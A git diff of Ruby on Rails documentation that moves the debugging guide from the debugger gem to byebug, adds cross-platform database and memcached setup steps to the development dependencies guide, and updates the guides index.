-Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+You can also use `up [n]` (`u` for abbreviated) and `down [n]` commands in order
+to change the context _n_ frames up or down the stack respectively. _n_ defaults
+to one. Up in this case is towards higher-numbered stack frames, and down is
+towards lower-numbered stack frames.
### Threads
-The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+The debugger can list, stop, resume and switch between running threads by using
+the `thread` command (or the abbreviated `th`). This command has a handful of
+options:
* `thread` shows the current thread.
-* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread list` is used to list all threads and their statuses. The plus +
+character and the number indicates the current thread of execution.
* `thread stop _n_` stop thread _n_.
* `thread resume _n_` resumes thread _n_.
* `thread switch _n_` switches the current thread context to _n_.
-This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+This command is very helpful, among other occasions, when you are debugging
+concurrent threads and need to verify that there are no race conditions in your
+code.
### Inspecting Variables
-Any expression can be evaluated in the current context. To evaluate an expression, just type it!
-
-This example shows how you can print the instance_variables defined within the current context:
-
-```
-@posts = Post.all
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-```
-
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
-
-```
-(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
- Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
- Parameters: {"action"=>"index", "controller"=>"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|
+Any expression can be evaluated in the current context. To evaluate an
+expression, just type it!
+
+This example shows how you can print the instance variables defined within the
+current context:
+
+```
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+ 3:
+ 4: # GET /articles
+ 5: # GET /articles.json
+ 6: def index
+ 7: byebug
+=> 8: @articles = Article.find_recent
+ 9:
+ 10: respond_to do |format|
+ 11: format.html # index.html.erb
+ 12: format.json { render json: @articles }
+
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_headers, :@_status, :@_request,
+ :@_response, :@_env, :@_prefixes, :@_lookup_context, :@_action_name,
+ :@_response_body, :@marked_for_same_origin_verification, :@_config]
+```
+
+As you may have figured out, all of the variables that you can access from a
+controller are displayed. This list is dynamically updated as you execute code.
+For example, run the next line using `next` (you'll learn more about this
+command later in this guide).
+
+```
+(byebug) next
+[5, 14] in /PathTo/project/app/controllers/articles_controller.rb
+ 5 # GET /articles.json
+ 6 def index
+ 7 byebug
+ 8 @articles = Article.find_recent
+ 9
+=> 10 respond_to do |format|
+ 11 format.html # index.html.erb
+ 12 format.json { render json: @articles }
+ 13 end
+ 14 end
+ 15
+(byebug)
```
And then ask again for the instance_variables:
```
-(rdb:11) instance_variables.include? "@posts"
+(byebug) instance_variables.include? "@articles"
true
```
-Now `@posts` is included in the instance variables, because the line defining it was executed.
+Now `@articles` is included in the instance variables, because the line defining it
+was executed.
-TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+TIP: You can also step into **irb** mode with the command `irb` (of course!).
+This way an irb session will be started within the context you invoked it. But
+be warned: this is an experimental feature.
-The `var` method is the most convenient way to show variables and their values:
+The `var` method is the most convenient way to show variables and their values.
+Let's let `byebug` to help us with it.
```
-var
-(rdb:1) v[ar] const <object> show constants of object
-(rdb:1) v[ar] g[lobal] show global variables
-(rdb:1) v[ar] i[nstance] <object> show instance variables of object
-(rdb:1) v[ar] l[ocal] show local variables
+(byebug) help var
+v[ar] cl[ass] show class variables of self
+v[ar] const <object> show constants of object
+v[ar] g[lobal] show global variables
+v[ar] i[nstance] <object> show instance variables of object
+v[ar] l[ocal] show local variables
```
-This is a great way to inspect the values of the current context variables. For example:
+This is a great way to inspect the values of the current context variables. For
+example, to check that we have no local variables currently defined.
```
-(rdb:9) var local
- __dbg_verbose_save => false
+(byebug) var local
+(byebug)
```
You can also inspect for an object method this way:
```
-(rdb:9) var instance Post.new
-@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+(byebug) var instance Article.new
+@_start_transaction_state = {}
+@aggregation_cache = {}
+@association_cache = {}
+@attributes = {"id"=>nil, "created_at"=>nil, "updated_at"=>nil}
@attributes_cache = {}
-@new_record = true
+@changed_attributes = nil
+...
```
-TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate
+Ruby expressions and display the value of variables to the console.
-You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+You can use also `display` to start watching variables. This is a good way of
+tracking the values of a variable while the execution goes on.
```
-(rdb:1) display @recent_comments
-1: @recent_comments =
+(byebug) display @articles
+1: @articles = nil
```
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+The variables inside the displaying list will be printed with their values after
+you move in the stack. To stop displaying a variable use `undisplay _n_` where
+_n_ is the variable number (1 in the last example).
### Step by Step
-Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+Now you should know where you are in the running trace and be able to print the
+available variables. But lets continue and move on with the application
+execution.
-Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger.
+Use `step` (abbreviated `s`) to continue running your program until the next
+logical stopping point and return control to the debugger.
-TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively.
+You may also use `next` which is similar to step, but function or method calls
+that appear within the line of code are executed without stopping.
-You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+TIP: You can also use `step n` or `next n` to move forwards `n` steps at once.
-The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+The difference between `next` and `step` is that `step` stops at the next line
+of code executed, doing just a single step, while `next` moves to the next line
+without descending inside methods.
-For example, consider this block of code with an included `debugger` statement:
+For example, consider the following situation:
```ruby
-class Author < ActiveRecord::Base
- has_one :editorial
- has_many :comments
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
+Processing by ArticlesController#index as HTML
- def find_recent_comments(limit = 10)
- debugger
- @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
- end
-end
+[1, 8] in /home/davidr/Proyectos/test_app/app/models/article.rb
+ 1: class Article < ActiveRecord::Base
+ 2:
+ 3: def self.find_recent(limit = 10)
+ 4: byebug
+=> 5: where('created_at > ?', 1.week.ago).limit(limit)
+ 6: end
+ 7:
+ 8: end
+
+(byebug)
```
-TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method.
+If we use `next`, we want go deep inside method calls. Instead, byebug will go
+to the next line within the same context. In this case, this is the last line of
+the method, so `byebug` will jump to next next line of the previous frame.
```
-$ rails console
-Loading development environment (Rails 3.1.0)
->> require "debugger"
-=> []
->> author = Author.first
-=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
->> author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)
-```
+(byebug) next
+Next went up a frame because previous frame finished
-With the code stopped, take a look around:
+[4, 13] in /PathTo/project/test_app/app/controllers/articles_controller.rb
+ 4: # GET /articles
+ 5: # GET /articles.json
+ 6: def index
+ 7: @articles = Article.find_recent
+ 8:
+=> 9: respond_to do |format|
+ 10: format.html # index.html.erb
+ 11: format.json { render json: @articles }
+ 12: end
+ 13: end
-```
-(rdb:1) list
-[2, 9] in /PathTo/project/app/models/author.rb
- 2 has_one :editorial
- 3 has_many :comments
- 4
- 5 def find_recent_comments(limit = 10)
- 6 debugger
-=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
- 8 end
- 9 end
+(byebug)
```
-You are at the end of the line, but... was this line executed? You can inspect the instance variables.
+If we use `step` in the same situation, we will literally go the next ruby
+instruction to be executed. In this case, the activesupport's `week` method.
```
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-```
+(byebug) step
-`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:
+[50, 59] in /PathToGems/activesupport-4.2.0/lib/active_support/core_ext/numeric/time.rb
+ 50: ActiveSupport::Duration.new(self * 24.hours, [[:days, self]])
+ 51: end
+ 52: alias :day :days
+ 53:
+ 54: def weeks
+=> 55: ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
+ 56: end
+ 57: alias :week :weeks
+ 58:
+ 59: def fortnights
+(byebug)
```
-(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []
-```
-
-Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed.
-If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+This is one of the best ways to find bugs in your code, or perhaps in Ruby on
+Rails.
### Breakpoints
-A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+A breakpoint makes your application stop whenever a certain point in the program
+is reached. The debugger shell is invoked in that line.
-You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+You can add breakpoints dynamically with the command `break` (or just `b`).
+There are 3 possible ways of adding breakpoints manually:
* `break line`: set breakpoint in the _line_ in the current source file.
-* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+* `break file:line [if expression]`: set breakpoint in the _line_ number inside
+the _file_. If an _expression_ is given it must evaluated to _true_ to fire up
+the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and
+\# for class and instance method respectively) defined in _class_. The
+_expression_ works the same way as with file:line.
+
+
+For example, in the previous situation
```
-(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+[4, 13] in /PathTo/project/app/controllers/articles_controller.rb
+ 4: # GET /articles
+ 5: # GET /articles.json
+ 6: def index
+ 7: @articles = Article.find_recent
+ 8:
+=> 9: respond_to do |format|
+ 10: format.html # index.html.erb
+ 11: format.json { render json: @articles }
+ 12: end
+ 13: end
+
+(byebug) break 11
+Created breakpoint 1 at /PathTo/project/app/controllers/articles_controller.rb:11
+
```
-Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you
+supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
```
-(rdb:5) info breakpoints
+(byebug) info breakpoints
Num Enb What
- 1 y at filters.rb:10
+1 y at /PathTo/project/app/controllers/articles_controller.rb:11
```
-To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+To delete breakpoints: use the command `delete _n_` to remove the breakpoint
+number _n_. If no number is specified, it deletes all breakpoints that are
+currently active.
```
-(rdb:5) delete 1
-(rdb:5) info breakpoints
+(byebug) delete 1
+(byebug) info breakpoints
No breakpoints.
```
You can also enable or disable breakpoints:
-* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* `enable breakpoints`: allow a _breakpoints_ list or all of them if no list is
+specified, to stop your program. This is the default state when you create a
+breakpoint.
* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
### Catching Exceptions
-The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+The command `catch exception-name` (or just `cat exception-name`) can be used to
+intercept an exception of type _exception-name_ when there would otherwise be no
+handler for it.
To list all active catchpoints use `catch`.
### Resuming Execution
-There are two ways to resume execution of an application that is stopped in the debugger:
-
-* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+There are two ways to resume execution of an application that is stopped in the
+debugger:
+
+* `continue` [line-specification] \(or `c`): resume program execution, at the
+address where your script last stopped; any breakpoints set at that address are
+bypassed. The optional argument line-specification allows you to specify a line
+number to set a one-time breakpoint which is deleted when that breakpoint is
+reached.
+* `finish` [frame-number] \(or `fin`): execute until the selected stack frame
+returns. If no frame number is given, the application will run until the
+currently selected frame returns. The currently selected frame starts out the
+most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been
+performed. If a frame number is given it will run until the specified frame
+returns.
### Editing
Two commands allow you to open code from the debugger into an editor:
-* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR
+environment variable. A specific _line_ can also be given.
### Quitting
-To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+To exit the debugger, use the `quit` command (abbreviated `q`), or its alias
+`exit`.
-A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+A simple quit tries to terminate all threads in effect. Therefore your server
+will be stopped and you will have to start it again.
### Settings
-The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
-
-* `set reload`: Reload source code when changed.
-* `set autolist`: Execute `list` command on every breakpoint.
-* `set listsize _n_`: Set number of source lines to list by default to _n_.
-* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+`byebug` has a few available options to tweak its behaviour:
-You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command.
+* `set autoreload`: Reload source code when changed (default: true).
+* `set autolist`: Execute `list` command on every breakpoint (default: true).
+* `set listsize _n_`: Set number of source lines to list by default to _n_
+(default: 10)
+* `set forcestep`: Make sure the `next` and `step` commands always move to a new
+line.
-TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts.
+You can see the full list by using `help set`. Use `help set _subcommand_` to
+learn about a particular `set` command.
-Here's a good start for an `.rdebugrc`:
+TIP: You can save these settings in an `.byebugrc` file in your home directory.
+The debugger reads these global settings when it starts. For example:
```bash
-set autolist
set forcestep
set listsize 25
```
@@ -638,38 +801,61 @@ set listsize 25
Debugging Memory Leaks
----------------------
-A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+A Ruby application (on Rails or not), can leak memory - either in the Ruby code
+or at the C code level.
-In this section, you will learn how to find and fix such leaks by using tool such as Valgrind.
+In this section, you will learn how to find and fix such leaks by using tool
+such as Valgrind.
### Valgrind
-[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions.
+[Valgrind](http://valgrind.org/) is a Linux-only application for detecting
+C-based memory leaks and race conditions.
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
+There are Valgrind tools that can automatically detect many memory management
+and threading bugs, and profile your programs in detail. For example, if a C
+extension in the interpreter calls `malloc()` but doesn't properly call
+`free()`, this memory won't be available until the app terminates.
-For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver.
+For further information on how to install Valgrind and use with Ruby, refer to
+[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/)
+by Evan Weaver.
Plugins for Debugging
---------------------
-There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
-
-* [Footnotes](https://github.com/josevalim/rails-footnotes:) Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* [Query Trace](https://github.com/ntalbott/query_trace/tree/master:) Adds query origin tracing to your logs.
-* [Query Reviewer](https://github.com/nesquena/query_reviewer:) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master:) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+There are some Rails plugins to help you to find errors and debug your
+application. Here is a list of useful plugins for debugging:
+
+* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has
+footnotes that give request information and link back to your source via
+TextMate.
+* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query
+origin tracing to your logs.
+* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin
+not only runs "EXPLAIN" before each of your select queries in development, but
+provides a small DIV in the rendered output of each page with the summary of
+warnings for each query that it analyzed.
+* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master)
+Provides a mailer object and a default set of templates for sending email
+notifications when errors occur in a Rails application.
+* [Better Errors](https://github.com/charliesome/better_errors) Replaces the
+standard Rails error page with a new one containing more contextual information,
+like source code and variable inspection.
+* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails
+development that will end your tailing of development.log. Have all information
+about your Rails app requests in the browser - in the Developer Tools panel.
+Provides insight to db/rendering/total times, parameter list, rendered views and
+more.
References
----------
* [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html)
-* [debugger Homepage](http://github.com/cldwalker/debugger)
-* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/article/debug-rails-app-ruby-debug/)
-* [ruby-debug Basics screencast](http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/)
+* [debugger Homepage](https://github.com/cldwalker/debugger)
+* [byebug Homepage](https://github.com/deivid-rodriguez/byebug)
+* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/)
* [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised)
* [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace)
* [Ryan Bates' logger screencast](http://railscasts.com/episodes/56-the-logger)
* [Debugging with ruby-debug](http://bashdb.sourceforge.net/ruby-debug.html)
-* [ruby-debug cheat sheet](http://cheat.errtheblog.com/s/rdebug/)
-* [Ruby on Rails Wiki: How to Configure Logging](http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging)
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
index db43d62fcf..3d9ec578ae 100644
--- a/guides/source/development_dependencies_install.md
+++ b/guides/source/development_dependencies_install.md
@@ -5,6 +5,10 @@ This guide covers how to setup an environment for Ruby on Rails core development
After reading this guide, you will know:
+* How to set up your machine for Rails development
+* How to run specific groups of unit tests from the Rails test suite
+* How the ActiveRecord portion of the Rails test suite operates
+
--------------------------------------------------------------------------------
The Easy Way
@@ -21,10 +25,10 @@ In case you can't use the Rails development box, see section above, these are th
Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
-* [Try Git course](http://try.github.com/) is an interactive course that will teach you the basics.
+* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics.
* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git
-* [Everyday Git](http://schacon.github.com/git/everyday.html) will teach you just enough about Git to get by.
-* The [PeepCode screencast](https://peepcode.com/products/git) on Git ($9) is easier to follow.
+* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by.
+* The [PeepCode screencast](https://peepcode.com/products/git) on Git is easier to follow.
* [GitHub](http://help.github.com) offers links to a variety of Git resources.
* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
@@ -41,33 +45,40 @@ $ cd rails
The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
-Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
+Install first SQLite3 and its development files for the `sqlite3` gem. Mac OS X
+users are done with:
```bash
-$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
+$ brew install sqlite3
```
-If you are on Fedora or CentOS, you can run
+In Ubuntu you're done with just:
```bash
-$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
+$ sudo apt-get install sqlite3 libsqlite3-dev
```
-If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) .
+And if you are on Fedora or CentOS, you're done with
-Also, SQLite3 and its development files for the `sqlite3-ruby` gem — in Ubuntu you're done with just
+```bash
+$ sudo yum install sqlite3 sqlite3-devel
+```
+
+If you are on Arch Linux, you will need to run:
```bash
-$ sudo apt-get install sqlite3 libsqlite3-dev
+$ sudo pacman -S sqlite
```
-And if you are on Fedora or CentOS, you're done with
+For FreeBSD users, you're done with:
```bash
-$ sudo yum install sqlite3 sqlite3-devel
+# pkg install sqlite3
```
-Get a recent version of [Bundler](http://gembundler.com/)
+Or compile the `databases/sqlite3` port.
+
+Get a recent version of [Bundler](http://bundler.io/)
```bash
$ gem install bundler
@@ -80,7 +91,43 @@ and run:
$ bundle install --without db
```
-This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with:
+This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon.
+
+NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running.
+
+You can use [Homebrew](http://brew.sh/) to install memcached on OS X:
+
+```bash
+$ brew install memcached
+```
+
+On Ubuntu you can install it with apt-get:
+
+```bash
+$ sudo apt-get install memcached
+```
+
+Or use yum on Fedora or CentOS:
+
+```bash
+$ sudo yum install memcached
+```
+
+If you are running on Arch Linux:
+
+```bash
+$ sudo pacman -S memcached
+```
+
+For FreeBSD users, you're done with:
+
+```bash
+# pkg install memcached
+```
+
+Alternatively, you can compile the `databases/memcached` port.
+
+With the dependencies now installed, you can run the test suite with:
```bash
$ bundle exec rake test
@@ -93,20 +140,27 @@ $ cd actionpack
$ bundle exec rake test
```
-If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests of the `railties/test/generators` directory only:
+If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests in the `railties/test/generators` directory only:
```bash
$ cd railties
$ TEST_DIR=generators bundle exec rake test
```
-You can run any single test separately too:
+You can run the tests for a particular file by using:
```bash
$ cd actionpack
$ bundle exec ruby -Itest test/template/form_helper_test.rb
```
+Or, you can run a single test in a particular file:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest path/to/test.rb -n test_name
+```
+
### Active Record Setup
The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them.
@@ -119,7 +173,19 @@ The Active Record test suite requires a custom config file: `activerecord/test/c
#### MySQL and PostgreSQL
-To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
+To be able to run the suite for MySQL and PostgreSQL we need their gems. Install
+first the servers, their client libraries, and their development files.
+
+On OS X, you can run:
+
+```bash
+$ brew install mysql
+$ brew install postgresql
+```
+
+Follow the instructions given by Homebrew to start these.
+
+In Ubuntu just run:
```bash
$ sudo apt-get install mysql-server libmysqlclient15-dev
@@ -133,14 +199,33 @@ $ sudo yum install mysql-server mysql-devel
$ sudo yum install postgresql-server postgresql-devel
```
-After that run:
+If you are running Arch Linux, MySQL isn't supported anymore so you will need to
+use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)):
+
+```bash
+$ sudo pacman -S mariadb libmariadbclient mariadb-clients
+$ sudo pacman -S postgresql postgresql-libs
+```
+
+FreeBSD users will have to run the following:
+
+```bash
+# pkg install mysql56-client mysql56-server
+# pkg install postgresql93-client postgresql93-server
+```
+
+Or install them through ports (they are located under the `databases` folder).
+If you run into troubles during the installation of MySQL, please see
+[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html).
+
+After that, run:
```bash
$ rm .bundle/config
$ bundle install
```
-We need first to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
+First, we need to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases:
@@ -152,30 +237,53 @@ mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
to 'rails'@'localhost';
mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+ to 'rails'@'localhost';
```
and create the test databases:
```bash
$ cd activerecord
-$ bundle exec rake mysql:build_databases
+$ bundle exec rake db:mysql:build
```
-PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
+PostgreSQL's authentication works differently. To setup the development environment
+with your development account, on Linux or BSD, you just have to run:
```bash
$ sudo -u postgres createuser --superuser $USER
```
-and then create the test databases with
+and for OS X:
+
+```bash
+$ createuser --superuser $USER
+```
+
+Then you need to create the test databases with
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:postgresql:build
+```
+
+It is possible to build databases for both PostgreSQL and MySQL with
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:create
+```
+
+You can cleanup the databases using
```bash
$ cd activerecord
-$ bundle exec rake postgresql:build_databases
+$ bundle exec rake db:drop
```
NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
-If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
+If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
index d7c648681d..1b838201cc 100644
--- a/guides/source/documents.yaml
+++ b/guides/source/documents.yaml
@@ -9,8 +9,12 @@
name: Models
documents:
-
- name: Rails Database Migrations
- url: migrations.html
+ name: Active Record Basics
+ url: active_record_basics.html
+ description: This guide will get you started with models, persistence to database and the Active Record pattern and library.
+ -
+ name: Active Record Migrations
+ url: active_record_migrations.html
description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
-
name: Active Record Validations
@@ -28,10 +32,20 @@
name: Active Record Query Interface
url: active_record_querying.html
description: This guide covers the database query interface provided by Active Record.
+ -
+ name: Active Model basics
+ url: active_model_basics.html
+ description: This guide covers the use of model classes without Active Record.
+ work_in_progress: true
-
name: Views
documents:
-
+ name: Action View Overview
+ url: action_view_overview.html
+ description: This guide provides an introduction to Action View and introduces a few of the more common view helpers.
+ work_in_progress: true
+ -
name: Layouts and Rendering in Rails
url: layouts_and_rendering.html
description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
@@ -64,9 +78,12 @@
-
name: Action Mailer Basics
url: action_mailer_basics.html
- work_in_progress: true
description: This guide describes how to use Action Mailer to send and receive emails.
-
+ name: Active Job Basics
+ url: active_job_basics.html
+ description: This guide provides you with all you need to get started in creating, enqueueing and executing background jobs.
+ -
name: Testing Rails Applications
url: testing.html
work_in_progress: true
@@ -80,10 +97,6 @@
url: debugging_rails_applications.html
description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
-
- name: Performance Testing Rails Applications
- url: performance_testing.html
- description: This guide covers the various ways of performance testing a Ruby on Rails application.
- -
name: Configuring Rails Applications
url: configuring.html
description: This guide covers the basic configuration settings for a Rails application.
@@ -92,17 +105,11 @@
url: command_line.html
description: This guide covers the command line tools and rake tasks provided by Rails.
-
- name: Caching with Rails
- work_in_progress: true
- url: caching_with_rails.html
- description: Various caching techniques provided by Rails.
- -
name: Asset Pipeline
url: asset_pipeline.html
description: This guide documents the asset pipeline.
-
name: Working with JavaScript in Rails
- work_in_progress: true
url: working_with_javascript_in_rails.html
description: This guide covers the built-in Ajax/JavaScript functionality of Rails.
-
@@ -114,7 +121,7 @@
name: The Rails Initialization Process
work_in_progress: true
url: initialization.html
- description: This guide explains the internals of the Rails initialization process as of Rails 3.1
